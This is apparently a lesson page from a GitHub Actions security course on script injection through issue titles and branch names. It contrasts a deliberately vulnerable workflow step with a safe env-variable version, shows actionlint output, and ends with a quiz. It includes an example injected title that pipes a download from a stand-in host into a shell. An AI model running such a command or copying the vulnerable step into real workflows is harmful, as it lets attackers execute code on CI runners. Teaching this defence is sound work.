Lesson 17 / 25

Script Injection From Untrusted Input

Titles and branch names are attacker-controlled.

Pass untrusted values through env

Values such as issue titles, pull request titles and bodies, commit messages and branch names are controlled by whoever creates them. Because ${{ }} is substituted into the script before the shell runs, a title like "; curl evil.sh | sh; echo " becomes part of your command. Pass such values through environment variables (env: TITLE: ${{ github.event.issue.title }} then use "$TITLE"), which the shell treats as data. actionlint flags direct use of known untrusted inputs.

A vulnerable step and its safe version, linted

I checked this workflow with actionlint 1.7.12 (actionlint -oneline .github/workflows/injection.yml); the output and exit code are copied from that run. actionlint validates syntax, expressions, job dependencies and known actions offline; shellcheck was not installed, so shell scripts inside run: were not linted. The workflow was not executed on GitHub. actionlint flags line 12, where the issue title is inserted directly into the script, and accepts the second step, which passes it through the TITLE environment variable.

name: Triage

on:
  issues:
    types: [opened]

jobs:
  label:
    runs-on: ubuntu-latest
    steps:
      - name: Greet (vulnerable)
        run: |
          echo "New issue: ${{ github.event.issue.title }}"
      - name: Greet (safe)
        env:
          TITLE: ${{ github.event.issue.title }}
        run: |
          echo "New issue: $TITLE"

Output:

.github/workflows/injection.yml:12:35: "github.event.issue.title" is potentially untrusted. avoid using it directly in inline scripts. instead, pass it through an environment variable. see https://docs.github.com/en/actions/reference/security/secure-use#good-practices-for-mitigating-script-injection-attacks for more details [expression]
(exit code 1)

Quote environment variables in scripts

Use "$TITLE" with quotes so spaces and special characters stay inside one argument.

Quick check: How should an issue title be used in a run: script?

  • Inside eval
  • Directly as ${{ github.event.issue.title }} in the script
  • Through an environment variable, referenced as "$TITLE"
  • Base64 decoded and executed
Answer

Through an environment variable, referenced as "$TITLE" — Data in env, not in code.